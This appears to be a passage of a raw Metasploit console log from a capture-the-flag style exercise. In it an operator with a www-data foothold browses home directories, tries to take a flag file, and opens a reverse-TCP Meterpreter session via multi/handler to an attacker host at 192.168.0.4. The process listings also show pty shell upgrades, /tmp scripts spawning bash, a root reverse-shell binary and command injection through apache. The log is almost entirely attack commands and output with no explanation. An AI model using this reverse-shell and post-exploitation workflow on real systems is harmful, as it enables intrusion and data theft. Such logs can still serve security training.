  652. 40755/rwxr-xr-x 4096 dir 2018-09-06 04:44:16 -0400 printer_25132
  653. 40755/rwxr-xr-x 4096 dir 2018-09-07 18:49:31 -0400 root122
  654. 40755/rwxr-xr-x 4096 dir 2018-08-28 09:42:45 -0400 svetlomirpetrov
  655. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:12:47 -0400 tterranigma
  656. 40755/rwxr-xr-x 4096 dir 2018-08-27 16:49:11 -0400 ubuntu
  657.  
  658. meterpreter > ls /home/ubuntu
  659. Listing: /home/ubuntu
  660. =====================
  661.  
  662. Mode Size Type Last modified Name
  663. ---- ---- ---- ------------- ----
  664. 100644/rw-r--r-- 220 fil 2018-08-11 07:57:37 -0400 .bash_logout
  665. 100644/rw-r--r-- 3771 fil 2018-08-11 07:57:37 -0400 .bashrc
  666. 100644/rw-r--r-- 807 fil 2018-08-11 07:57:37 -0400 .profile
  667. 40700/rwx------ 4096 dir 2018-08-27 16:12:38 -0400 .ssh
  668. 100600/rw------- 58891 fil 2018-08-27 16:49:11 -0400 flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  669.  
  670. meterpreter > cat /home/ubuntu/.ssh
  671. [-] /home/ubuntu/.ssh is a directory
  672. meterpreter > cat /home/ubuntu/.bashrc
  673. # ~/.bashrc: executed by bash(1) for non-login shells.
  674. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
  675. # for examples
  676.  
  677. # If not running interactively, don't do anything
  678. case $- in
  679. *i*) ;;
  680. *) return;;
  681. esac
  682.  
  683. # don't put duplicate lines or lines starting with space in the history.
  684. # See bash(1) for more options
  685. HISTCONTROL=ignoreboth
  686.  
  687. # append to the history file, don't overwrite it
  688. shopt -s histappend
  689.  
  690. # for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
  691. HISTSIZE=1000
  692. HISTFILESIZE=2000
  693.  
  694. # check the window size after each command and, if necessary,
  695. # update the values of LINES and COLUMNS.
  696. shopt -s checkwinsize
  697.  
  698. # If set, the pattern "**" used in a pathname expansion context will
  699. # match all files and zero or more directories and subdirectories.
  700. #shopt -s globstar
  701.  
  702. # make less more friendly for non-text input files, see lesspipe(1)
  703. [ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"
  704.  
  705. # set variable identifying the chroot you work in (used in the prompt below)
  706. if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
  707. debian_chroot=$(cat /etc/debian_chroot)
  708. fi
  709.  
  710. # set a fancy prompt (non-color, unless we know we "want" color)
  711. case "$TERM" in
  712. xterm-color|*-256color) color_prompt=yes;;
  713. esac
  714.  
  715. # uncomment for a colored prompt, if the terminal has the capability; turned
  716. # off by default to not distract the user: the focus in a terminal window
  717. # should be on the output of commands, not on the prompt
  718. #force_color_prompt=yes
  719.  
  720. if [ -n "$force_color_prompt" ]; then
  721. if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
  722. # We have color support; assume it's compliant with Ecma-48
  723. # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
  724. # a case would tend to support setf rather than setaf.)
  725. color_prompt=yes
  726. else
  727. color_prompt=
  728. fi
  729. fi
  730.  
  731. if [ "$color_prompt" = yes ]; then
  732. PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
  733. else
  734. PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
  735. fi
  736. unset color_prompt force_color_prompt
  737.  
  738. # If this is an xterm set the title to user@host:dir
  739. case "$TERM" in
  740. xterm*|rxvt*)
  741. PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
  742. ;;
  743. *)
  744. ;;
  745. esac
  746.  
  747. # enable color support of ls and also add handy aliases
  748. if [ -x /usr/bin/dircolors ]; then
  749. test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
  750. alias ls='ls --color=auto'
  751. #alias dir='dir --color=auto'
  752. #alias vdir='vdir --color=auto'
  753.  
  754. alias grep='grep --color=auto'
  755. alias fgrep='fgrep --color=auto'
  756. alias egrep='egrep --color=auto'
  757. fi
  758.  
  759. # colored GCC warnings and errors
  760. #export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'
  761.  
  762. # some more ls aliases
  763. alias ll='ls -alF'
  764. alias la='ls -A'
  765. alias l='ls -CF'
  766.  
  767. # Add an "alert" alias for long running commands. Use like so:
  768. # sleep 10; alert
  769. alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
  770.  
  771. # Alias definitions.
  772. # You may want to put all your additions into a separate file like
  773. # ~/.bash_aliases, instead of adding them here directly.
  774. # See /usr/share/doc/bash-doc/examples in the bash-doc package.
  775.  
  776. if [ -f ~/.bash_aliases ]; then
  777. . ~/.bash_aliases
  778. fi
  779.  
  780. # enable programmable completion features (you don't need to enable
  781. # this, if it's already enabled in /etc/bash.bashrc and /etc/profile
  782. # sources /etc/bash.bashrc).
  783. if ! shopt -oq posix; then
  784. if [ -f /usr/share/bash-completion/bash_completion ]; then
  785. . /usr/share/bash-completion/bash_completion
  786. elif [ -f /etc/bash_completion ]; then
  787. . /etc/bash_completion
  788. fi
  789. fi
  790. meterpreter > route
  791. [-] Unknown command: route.
  792. meterpreter > arp
  793. [-] Unknown command: arp.
  794. meterpreter > ?
  795.  
  796. Core Commands
  797. =============
  798.  
  799. Command Description
  800. ------- -----------
  801. ? Help menu
  802. background Backgrounds the current session
  803. bgkill Kills a background meterpreter script
  804. bglist Lists running background scripts
  805. bgrun Executes a meterpreter script as a background thread
  806. channel Displays information or control active channels
  807. close Closes a channel
  808. disable_unicode_encoding Disables encoding of unicode strings
  809. enable_unicode_encoding Enables encoding of unicode strings
  810. exit Terminate the meterpreter session
  811. get_timeouts Get the current session timeout values
  812. guid Get the session GUID
  813. help Help menu
  814. info Displays information about a Post module
  815. irb Drop into irb scripting mode
  816. load Load one or more meterpreter extensions
  817. machine_id Get the MSF ID of the machine attached to the session
  818. migrate Migrate the server to another process
  819. quit Terminate the meterpreter session
  820. read Reads data from a channel
  821. resource Run the commands stored in a file
  822. run Executes a meterpreter script or Post module
  823. sessions Quickly switch to another session
  824. set_timeouts Set the current session timeout values
  825. sleep Force Meterpreter to go quiet, then re-establish session.
  826. transport Change the current transport mechanism
  827. use Deprecated alias for "load"
  828. uuid Get the UUID for the current session
  829. write Writes data to a channel
  830.  
  831.  
  832. Stdapi: File system Commands
  833. ============================
  834.  
  835. Command Description
  836. ------- -----------
  837. cat Read the contents of a file to the screen
  838. cd Change directory
  839. checksum Retrieve the checksum of a file
  840. cp Copy source to destination
  841. dir List files (alias for ls)
  842. download Download a file or directory
  843. edit Edit a file
  844. getlwd Print local working directory
  845. getwd Print working directory
  846. lcd Change local working directory
  847. lls List local files
  848. lpwd Print local working directory
  849. ls List files
  850. mkdir Make directory
  851. mv Move source to destination
  852. pwd Print working directory
  853. rm Delete the specified file
  854. rmdir Remove directory
  855. search Search for files
  856. upload Upload a file or directory
  857.  
  858.  
  859. Stdapi: Networking Commands
  860. ===========================
  861.  
  862. Command Description
  863. ------- -----------
  864. ifconfig Display interfaces
  865. ipconfig Display interfaces
  866. portfwd Forward a local port to a remote service
  867. resolve Resolve a set of host names on the target
  868.  
  869.  
  870. Stdapi: System Commands
  871. =======================
  872.  
  873. Command Description
  874. ------- -----------
  875. execute Execute a command
  876. getenv Get one or more environment variable values
  877. getpid Get the current process identifier
  878. getuid Get the user that the server is running as
  879. kill Terminate a process
  880. localtime Displays the target system's local date and time
  881. pgrep Filter processes by name
  882. pkill Terminate processes by name
  883. ps List running processes
  884. shell Drop into a system command shell
  885. sysinfo Gets information about the remote system, such as OS
  886.  
  887.  
  888. Stdapi: Audio Output Commands
  889. =============================
  890.  
  891. Command Description
  892. ------- -----------
  893. play play an audio file on target system, nothing written on disk
  894.  
  895. meterpreter > shell
  896. Process 21095 created.
  897. Channel 8 created.
  898. /bin/sh: 0: can't access tty; job control turned off
  899. $ whoami
  900. www-data
  901. $ q
  902. /bin/sh: 2: q: not found
  903. $ ^C
  904. Terminate channel 8? [y/N] y
  905. meterpreter > execute route
  906. [-] You must specify an executable file with -f
  907. meterpreter > quit
  908. [*] Shutting down Meterpreter...
  909.  
  910. [*] 10.0.3.178 - Meterpreter session 1 closed. Reason: User exit
  911. msf exploit(multi/handler) > show info
  912.  
  913. Name: Generic Payload Handler
  914. Module: exploit/multi/handler
  915. Platform: Android, Apple_iOS, BSD, Java, JavaScript, Linux, OSX, NodeJS, PHP, Python, Ruby, Solaris, Unix, Windows, Mainframe, Multi
  916. Arch: x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r
  917. Privileged: No
  918. License: Metasploit Framework License (BSD)
  919. Rank: Manual
  920.  
  921. Provided by:
  922. hdm <x@hdm.io>
  923. bcook-r7
  924.  
  925. Available targets:
  926. Id Name
  927. -- ----
  928. 0 Wildcard Target
  929.  
  930. Payload information:
  931. Space: 10000000
  932. Avoid: 0 characters
  933.  
  934. Description:
  935. This module is a stub that provides all of the features of the
  936. Metasploit payload system to exploits that have been launched
  937. outside of the framework.
  938.  
  939. msf exploit(multi/handler) > show options
  940.  
  941. Module options (exploit/multi/handler):
  942.  
  943. Name Current Setting Required Description
  944. ---- --------------- -------- -----------
  945.  
  946.  
  947. Payload options (python/meterpreter/reverse_tcp):
  948.  
  949. Name Current Setting Required Description
  950. ---- --------------- -------- -----------
  951. LHOST 192.168.0.4 yes The listen address (an interface may be specified)
  952. LPORT 4554 yes The listen port
  953.  
  954.  
  955. Exploit target:
  956.  
  957. Id Name
  958. -- ----
  959. 0 Wildcard Target
  960.  
  961.  
  962. msf exploit(multi/handler) > run
  963.  
  964. [*] Started reverse TCP handler on 192.168.0.4:4554
  965. [*] Sending stage (53508 bytes) to 10.0.3.178
  966. [*] Meterpreter session 2 opened (192.168.0.4:4554 -> 10.0.3.178:44522) at 2018-09-07 21:29:32 -0400
  967.  
  968. meterpreter > getuid
  969. Server username: www-data
  970. meterpreter > cd /home/ubuntu
  971. meterpreter > ls
  972. Listing: /home/ubuntu
  973. =====================
  974.  
  975. Mode Size Type Last modified Name
  976. ---- ---- ---- ------------- ----
  977. 100644/rw-r--r-- 220 fil 2018-08-11 07:57:37 -0400 .bash_logout
  978. 100644/rw-r--r-- 3771 fil 2018-08-11 07:57:37 -0400 .bashrc
  979. 100644/rw-r--r-- 807 fil 2018-08-11 07:57:37 -0400 .profile
  980. 40700/rwx------ 4096 dir 2018-08-27 16:12:38 -0400 .ssh
  981. 100600/rw------- 58891 fil 2018-08-27 16:49:11 -0400 flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  982.  
  983. meterpreter > tail flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  984. [-] Unknown command: tail.
  985. meterpreter > cat flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  986. [-] core_channel_open: Operation failed: Python exception: PermissionError
  987. meterpreter > download flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  988. [*] Downloading: flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg -> flag_d7d3218cb35e60d9112b7b220164b2aef91a1137.jpg
  989. [-] core_channel_open: Operation failed: Python exception: PermissionError
  990. meterpreter > ps
  991.  
  992. Process List
  993. ============
  994.  
  995. PID PPID Name User Path
  996. --- ---- ---- ---- ----
  997. 1 0 init root /sbin/init
  998. 2 0 [kthreadd] root
  999. 4 2 [kworker/0:0H] root
  1000. 6 2 [mm_percpu_wq] root
  1001. 7 2 [ksoftirqd/0] root
  1002. 8 2 [rcu_sched] root
  1003. 9 2 [rcu_bh] root
  1004. 10 2 [migration/0] root
  1005. 11 2 [watchdog/0] root
  1006. 12 2 [cpuhp/0] root
  1007. 13 2 [kdevtmpfs] root
  1008. 14 2 [netns] root
  1009. 15 2 [rcu_tasks_kthre] root
  1010. 16 2 [kauditd] root
  1011. 17 2 [khungtaskd] root
  1012. 18 2 [oom_reaper] root
  1013. 19 2 [writeback] root
  1014. 20 2 [kcompactd0] root
  1015. 21 2 [ksmd] root
  1016. 22 2 [khugepaged] root
  1017. 23 2 [crypto] root
  1018. 24 2 [kintegrityd] root
  1019. 25 2 [kblockd] root
  1020. 26 2 [ata_sff] root
  1021. 27 2 [md] root
  1022. 28 2 [edac-poller] root
  1023. 29 2 [devfreq_wq] root
  1024. 30 2 [watchdogd] root
  1025. 34 2 [kswapd0] root
  1026. 35 2 [ecryptfs-kthrea] root
  1027. 77 2 [kthrotld] root
  1028. 78 2 [acpi_thermal_pm] root
  1029. 79 2 [scsi_eh_0] root
  1030. 80 2 [scsi_tmf_0] root
  1031. 86 2 [ipv6_addrconf] root
  1032. 93 2 [kworker/0:1H] root
  1033. 97 2 [kstrp] root
  1034. 114 2 [charger_manager] root
  1035. 279 2 [raid5wq] root
  1036. 330 2 [jbd2/sda1-8] root
  1037. 331 2 [ext4-rsv-conver] root
  1038. 397 2 [iscsi_eh] root
  1039. 403 1 systemd-journald root /lib/systemd/systemd-journald
  1040. 407 2 [ib-comp-wq] root
  1041. 408 2 [ib_mcast] root
  1042. 409 2 [ib_nl_sa_wq] root
  1043. 410 2 [rdma_cm] root
  1044. 425 1 lvmetad root /sbin/lvmetad -f
  1045. 426 1 systemd-udevd root /lib/systemd/systemd-udevd
  1046. 537 2 [loop0] root
  1047. 541 2 [loop2] root
  1048. 564 1 auditd root /sbin/auditd
  1049. 699 1 systemd-networkd systemd-network /lib/systemd/systemd-networkd
  1050. 729 1 systemd-resolved systemd-resolve /lib/systemd/systemd-resolved
  1051. 862 1 iscsid root /sbin/iscsid
  1052. 863 1 iscsid root /sbin/iscsid
  1053. 883 1 dbus-daemon messagebus /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  1054. 905 1 atd root /usr/sbin/atd -f
  1055. 916 1 accounts-daemon root /usr/lib/accountsservice/accounts-daemon
  1056. 919 1 cron root /usr/sbin/cron -f
  1057. 948 1 python3 root /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
  1058. 953 1 rsyslogd syslog /usr/sbin/rsyslogd -n
  1059. 955 1 systemd-logind root /lib/systemd/systemd-logind
  1060. 956 1 lxcfs root /usr/bin/lxcfs /var/lib/lxcfs/
  1061. 961 1 chronyd _chrony /usr/sbin/chronyd
  1062. 991 1 polkitd root /usr/lib/policykit-1/polkitd --no-debug
  1063. 992 1 agetty root /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
  1064. 1004 1 agetty root /sbin/agetty -o -p -- \u --noclear tty1 linux
  1065. 1071 1 apache2 root /usr/sbin/apache2 -k start
  1066. 1073 1 mysqld mysql /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
  1067. 1138 1 python3 root /usr/bin/python3 /usr/bin/google_network_daemon
  1068. 1139 1 python3 root /usr/bin/python3 /usr/bin/google_clock_skew_daemon
  1069. 1162 1 python3 root /usr/bin/python3 /usr/bin/google_accounts_daemon
  1070. 1180 1 sshd root /usr/sbin/sshd -D
  1071. 11461 1071 apache2 www-data /usr/sbin/apache2 -k start
  1072. 11613 1071 apache2 www-data /usr/sbin/apache2 -k start
  1073. 11918 1071 apache2 www-data /usr/sbin/apache2 -k start
  1074. 11928 11918 sh www-data sh -c python -c 'import pty;pty.spawn("/bin/bash");' 2>&1
  1075.  
  1076. 11929 11928 python www-data python -c import pty;pty.spawn("/bin/bash");
  1077. 11932 11929 bash www-data /bin/bash
  1078. 12141 1071 apache2 www-data /usr/sbin/apache2 -k start
  1079. 12211 12141 sh www-data sh -c python /tmp/asdf.py 2>&1
  1080.  
  1081. 12212 12211 python www-data python /tmp/asdf.py
  1082. 12213 12212 bash www-data /bin/bash
  1083. 12215 11613 sh www-data sh -c python /tmp/asdf.py 2>&1
  1084.  
  1085. 12216 12215 python www-data python /tmp/asdf.py
  1086. 12229 12216 bash www-data /bin/bash
  1087. 12232 11461 sh www-data sh -c python /tmp/asdf.py 2>&1
  1088.  
  1089. 12233 12232 python www-data python /tmp/asdf.py
  1090. 12234 12233 bash www-data /bin/bash
  1091. 12423 1071 apache2 www-data /usr/sbin/apache2 -k start
  1092. 12464 12423 sh www-data sh -c ping 192.168.0.4 2>&1
  1093.  
  1094. 12465 12464 ping www-data ping 192.168.0.4
  1095. 12472 1071 apache2 www-data /usr/sbin/apache2 -k start
  1096. 12474 12472 sh www-data sh -c ping 192.168.0.4 > /tmp/pingout.txt 2>&1
  1097.  
  1098. 12475 12474 ping www-data ping 192.168.0.4
  1099. 13826 2 [loop3] root
  1100. 15313 2 [loop5] root
  1101. 25797 1180 sshd: root sshd: printer_25132 [priv]
  1102. 25799 1 systemd printer_25132 /lib/systemd/systemd --user
  1103. 25800 25799 (sd-pam) printer_25132 (sd-pam)
  1104. 25921 25797 sshd: printer_25132 sshd: printer_25132@pts/0
  1105. 25922 25921 -bash printer_25132 -bash
  1106. 25936 25922 sudo root sudo su
  1107. 25937 25936 su root su
  1108. 25938 25937 bash root bash
  1109. 25974 25938 bash root bash
  1110. 26021 25974 rev_tcp_x64 root ./rev_tcp_x64
  1111. 26391 2 [kworker/0:0] root
  1112. 26490 2 [loop4] root
  1113. 26523 1 snapd root /usr/lib/snapd/snapd
  1114. 30416 2 [kworker/0:1] root
  1115. 31380 1071 apache2 www-data /usr/sbin/apache2 -k start
  1116. 31444 1071 apache2 www-data /usr/sbin/apache2 -k start
  1117. 31451 2 [kworker/u2:2] root
  1118. 31472 1071 apache2 www-data /usr/sbin/apache2 -k start
  1119. 31487 2 [kworker/u2:0] root
  1120. 31493 1071 apache2 www-data /usr/sbin/apache2 -k start
  1121. 31500 1071 apache2 www-data /usr/sbin/apache2 -k start
  1122. 31507 1071 apache2 www-data /usr/sbin/apache2 -k start
  1123. 31508 1071 apache2 www-data /usr/sbin/apache2 -k start
  1124. 31510 2 [kworker/0:2] root
  1125. 31518 1071 apache2 www-data /usr/sbin/apache2 -k start
  1126. 31528 1071 apache2 www-data /usr/sbin/apache2 -k start
  1127. 31529 31472 [sh] www-data
  1128. 31542 1 python www-data python ne0.py
  1129. 31546 2 [kworker/u2:1] root
  1130. 31613 1071 apache2 www-data /usr/sbin/apache2 -k start
  1131. 31619 1071 apache2 www-data /usr/sbin/apache2 -k start
  1132.  
  1133. meterpreter > ?
  1134.  
  1135. Core Commands
  1136. =============
  1137.  
  1138. Command Description
  1139. ------- -----------
  1140. ? Help menu
  1141. background Backgrounds the current session
  1142. bgkill Kills a background meterpreter script
  1143. bglist Lists running background scripts
  1144. bgrun Executes a meterpreter script as a background thread
  1145. channel Displays information or control active channels
  1146. close Closes a channel
  1147. disable_unicode_encoding Disables encoding of unicode strings
  1148. enable_unicode_encoding Enables encoding of unicode strings
  1149. exit Terminate the meterpreter session
  1150. get_timeouts Get the current session timeout values
  1151. guid Get the session GUID
  1152. help Help menu
  1153. info Displays information about a Post module
  1154. irb Drop into irb scripting mode
  1155. load Load one or more meterpreter extensions
  1156. machine_id Get the MSF ID of the machine attached to the session
  1157. migrate Migrate the server to another process
  1158. quit Terminate the meterpreter session
  1159. read Reads data from a channel
  1160. resource Run the commands stored in a file
  1161. run Executes a meterpreter script or Post module
  1162. sessions Quickly switch to another session
  1163. set_timeouts Set the current session timeout values
  1164. sleep Force Meterpreter to go quiet, then re-establish session.
  1165. transport Change the current transport mechanism
  1166. use Deprecated alias for "load"
  1167. uuid Get the UUID for the current session
  1168. write Writes data to a channel
  1169.  
  1170.  
  1171. Stdapi: File system Commands
  1172. ============================
  1173.  
  1174. Command Description
  1175. ------- -----------
  1176. cat Read the contents of a file to the screen
  1177. cd Change directory
  1178. checksum Retrieve the checksum of a file
  1179. cp Copy source to destination
  1180. dir List files (alias for ls)
  1181. download Download a file or directory
  1182. edit Edit a file
  1183. getlwd Print local working directory
  1184. getwd Print working directory
  1185. lcd Change local working directory
  1186. lls List local files
  1187. lpwd Print local working directory
  1188. ls List files
  1189. mkdir Make directory
  1190. mv Move source to destination
  1191. pwd Print working directory
  1192. rm Delete the specified file
  1193. rmdir Remove directory
  1194. search Search for files
  1195. upload Upload a file or directory
  1196.  
  1197.  
  1198. Stdapi: Networking Commands
  1199. ===========================
  1200.  
  1201. Command Description
  1202. ------- -----------
  1203. ifconfig Display interfaces
  1204. ipconfig Display interfaces
  1205. portfwd Forward a local port to a remote service
  1206. resolve Resolve a set of host names on the target
  1207.  
  1208.  
  1209. Stdapi: System Commands
  1210. =======================
  1211.  
  1212. Command Description
  1213. ------- -----------
  1214. execute Execute a command
  1215. getenv Get one or more environment variable values
  1216. getpid Get the current process identifier
  1217. getuid Get the user that the server is running as
  1218. kill Terminate a process
  1219. localtime Displays the target system's local date and time
  1220. pgrep Filter processes by name
  1221. pkill Terminate processes by name
  1222. ps List running processes
  1223. shell Drop into a system command shell
  1224. sysinfo Gets information about the remote system, such as OS
  1225.  
  1226.  
  1227. Stdapi: Audio Output Commands
  1228. =============================
  1229.  
  1230. Command Description
  1231. ------- -----------
  1232. play play an audio file on target system, nothing written on disk
  1233.  
  1234. meterpreter > migrate -h
  1235. Usage: migrate <<pid> | -P <pid> | -N <name>> [-p writable_path] [-t timeout]
  1236.  
  1237. Migrates the server instance to another process.
  1238. NOTE: Any open channels or other dynamic state will be lost.
  1239.  
  1240. meterpreter > migrate 1071
  1241. [-] Error running command migrate: NoMethodError undefined method `pid' for nil:NilClass
  1242. meterpreter > migrate -P 1071
  1243. [-] Error running command migrate: NoMethodError undefined method `pid' for nil:NilClass
  1244. meterpreter > ?
  1245.  
  1246. Core Commands
  1247. =============
  1248.  
  1249. Command Description
  1250. ------- -----------
  1251. ? Help menu
  1252. background Backgrounds the current session
  1253. bgkill Kills a background meterpreter script
  1254. bglist Lists running background scripts
  1255. bgrun Executes a meterpreter script as a background thread
  1256. channel Displays information or control active channels
  1257. close Closes a channel
  1258. disable_unicode_encoding Disables encoding of unicode strings
  1259. enable_unicode_encoding Enables encoding of unicode strings
  1260. exit Terminate the meterpreter session
  1261. get_timeouts Get the current session timeout values
  1262. guid Get the session GUID
  1263. help Help menu
  1264. info Displays information about a Post module
  1265. irb Drop into irb scripting mode
  1266. load Load one or more meterpreter extensions
  1267. machine_id Get the MSF ID of the machine attached to the session
  1268. migrate Migrate the server to another process
  1269. quit Terminate the meterpreter session
  1270. read Reads data from a channel
  1271. resource Run the commands stored in a file
  1272. run Executes a meterpreter script or Post module
  1273. sessions Quickly switch to another session
  1274. set_timeouts Set the current session timeout values
  1275. sleep Force Meterpreter to go quiet, then re-establish session.
  1276. transport Change the current transport mechanism
  1277. use Deprecated alias for "load"
  1278. uuid Get the UUID for the current session
  1279. write Writes data to a channel
  1280.  
  1281.  
  1282. Stdapi: File system Commands
  1283. ============================
  1284.  
  1285. Command Description
  1286. ------- -----------
  1287. cat Read the contents of a file to the screen
  1288. cd Change directory
  1289. checksum Retrieve the checksum of a file
  1290. cp Copy source to destination
  1291. dir List files (alias for ls)
  1292. download Download a file or directory
  1293. edit Edit a file
  1294. getlwd Print local working directory
  1295. getwd Print working directory
  1296. lcd Change local working directory
  1297. lls List local files
  1298. lpwd Print local working directory
  1299. ls List files
  1300. mkdir Make directory
  1301. mv Move source to destination
  1302. pwd Print working directory
  1303. rm Delete the specified file
  1304. rmdir Remove directory
  1305. search Search for files
  1306. upload Upload a file or directory
  1307.  
  1308.  
  1309. Stdapi: Networking Commands
  1310. ===========================
  1311.  
  1312. Command Description
  1313. ------- -----------
  1314. ifconfig Display interfaces
  1315. ipconfig Display interfaces
  1316. portfwd Forward a local port to a remote service
  1317. resolve Resolve a set of host names on the target
  1318.  
  1319.  
  1320. Stdapi: System Commands
  1321. =======================
  1322.  
  1323. Command Description
  1324. ------- -----------
  1325. execute Execute a command
  1326. getenv Get one or more environment variable values
  1327. getpid Get the current process identifier
  1328. getuid Get the user that the server is running as
  1329. kill Terminate a process
  1330. localtime Displays the target system's local date and time
  1331. pgrep Filter processes by name
  1332. pkill Terminate processes by name
  1333. ps List running processes
  1334. shell Drop into a system command shell
  1335. sysinfo Gets information about the remote system, such as OS
  1336.  
  1337.  
  1338. Stdapi: Audio Output Commands
  1339. =============================
  1340.  
  1341. Command Description
  1342. ------- -----------
  1343. play play an audio file on target system, nothing written on disk
  1344.  
  1345. meterpreter > ps
  1346.  
  1347. Process List
  1348. ============
  1349.  
  1350. PID PPID Name User Path
  1351. --- ---- ---- ---- ----
  1352. 1 0 init root /sbin/init
  1353. 2 0 [kthreadd] root
  1354. 4 2 [kworker/0:0H] root
  1355. 6 2 [mm_percpu_wq] root
  1356. 7 2 [ksoftirqd/0] root
  1357. 8 2 [rcu_sched] root
  1358. 9 2 [rcu_bh] root
  1359. 10 2 [migration/0] root
  1360. 11 2 [watchdog/0] root
  1361. 12 2 [cpuhp/0] root
  1362. 13 2 [kdevtmpfs] root
  1363. 14 2 [netns] root
  1364. 15 2 [rcu_tasks_kthre] root
  1365. 16 2 [kauditd] root
  1366. 17 2 [khungtaskd] root
  1367. 18 2 [oom_reaper] root
  1368. 19 2 [writeback] root
  1369. 20 2 [kcompactd0] root
  1370. 21 2 [ksmd] root
  1371. 22 2 [khugepaged] root
  1372. 23 2 [crypto] root
  1373. 24 2 [kintegrityd] root
  1374. 25 2 [kblockd] root
  1375. 26 2 [ata_sff] root
  1376. 27 2 [md] root
  1377. 28 2 [edac-poller] root
  1378. 29 2 [devfreq_wq] root
  1379. 30 2 [watchdogd] root
  1380. 34 2 [kswapd0] root
  1381. 35 2 [ecryptfs-kthrea] root
  1382. 77 2 [kthrotld] root
  1383. 78 2 [acpi_thermal_pm] root
  1384. 79 2 [scsi_eh_0] root
  1385. 80 2 [scsi_tmf_0] root
  1386. 86 2 [ipv6_addrconf] root
  1387. 93 2 [kworker/0:1H] root
  1388. 97 2 [kstrp] root
  1389. 114 2 [charger_manager] root
  1390. 279 2 [raid5wq] root
  1391. 330 2 [jbd2/sda1-8] root
  1392. 331 2 [ext4-rsv-conver] root
  1393. 397 2 [iscsi_eh] root
  1394. 403 1 systemd-journald root /lib/systemd/systemd-journald
  1395. 407 2 [ib-comp-wq] root
  1396. 408 2 [ib_mcast] root
  1397. 409 2 [ib_nl_sa_wq] root
  1398. 410 2 [rdma_cm] root
  1399. 425 1 lvmetad root /sbin/lvmetad -f
  1400. 426 1 systemd-udevd root /lib/systemd/systemd-udevd
  1401. 537 2 [loop0] root
  1402. 541 2 [loop2] root
  1403. 564 1 auditd root /sbin/auditd
  1404. 699 1 systemd-networkd systemd-network /lib/systemd/systemd-networkd
  1405. 729 1 systemd-resolved systemd-resolve /lib/systemd/systemd-resolved
  1406. 862 1 iscsid root /sbin/iscsid
  1407. 863 1 iscsid root /sbin/iscsid
  1408. 883 1 dbus-daemon messagebus /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
  1409. 905 1 atd root /usr/sbin/atd -f
  1410. 916 1 accounts-daemon root /usr/lib/accountsservice/accounts-daemon
  1411. 919 1 cron root /usr/sbin/cron -f
  1412. 948 1 python3 root /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
  1413. 953 1 rsyslogd syslog /usr/sbin/rsyslogd -n
  1414. 955 1 systemd-logind root /lib/systemd/systemd-logind
  1415. 956 1 lxcfs root /usr/bin/lxcfs /var/lib/lxcfs/
  1416. 961 1 chronyd _chrony /usr/sbin/chronyd
  1417. 991 1 polkitd root /usr/lib/policykit-1/polkitd --no-debug
  1418. 992 1 agetty root /sbin/agetty -o -p -- \u --keep-baud 115200,38400,9600 ttyS0 vt220
  1419. 1004 1 agetty root /sbin/agetty -o -p -- \u --noclear tty1 linux
  1420. 1071 1 apache2 root /usr/sbin/apache2 -k start
  1421. 1073 1 mysqld mysql /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
  1422. 1138 1 python3 root /usr/bin/python3 /usr/bin/google_network_daemon
  1423. 1139 1 python3 root /usr/bin/python3 /usr/bin/google_clock_skew_daemon
  1424. 1162 1 python3 root /usr/bin/python3 /usr/bin/google_accounts_daemon
  1425. 1180 1 sshd root /usr/sbin/sshd -D
  1426. 11461 1071 apache2 www-data /usr/sbin/apache2 -k start
  1427. 11613 1071 apache2 www-data /usr/sbin/apache2 -k start
  1428. 11918 1071 apache2 www-data /usr/sbin/apache2 -k start
  1429. 11928 11918 sh www-data sh -c python -c 'import pty;pty.spawn("/bin/bash");' 2>&1
  1430.  
  1431. 11929 11928 python www-data python -c import pty;pty.spawn("/bin/bash");
  1432. 11932 11929 bash www-data /bin/bash
  1433. 12141 1071 apache2 www-data /usr/sbin/apache2 -k start
  1434. 12211 12141 sh www-data sh -c python /tmp/asdf.py 2>&1
  1435.  
  1436. 12212 12211 python www-data python /tmp/asdf.py
  1437. 12213 12212 bash www-data /bin/bash
  1438. 12215 11613 sh www-data sh -c python /tmp/asdf.py 2>&1
  1439.  
  1440. 12216 12215 python www-data python /tmp/asdf.py
  1441. 12229 12216 bash www-data /bin/bash
  1442. 12232 11461 sh www-data sh -c python /tmp/asdf.py 2>&1
  1443.  
  1444. 12233 12232 python www-data python /tmp/asdf.py
  1445. 12234 12233 bash www-data /bin/bash
  1446. 12423 1071 apache2 www-data /usr/sbin/apache2 -k start
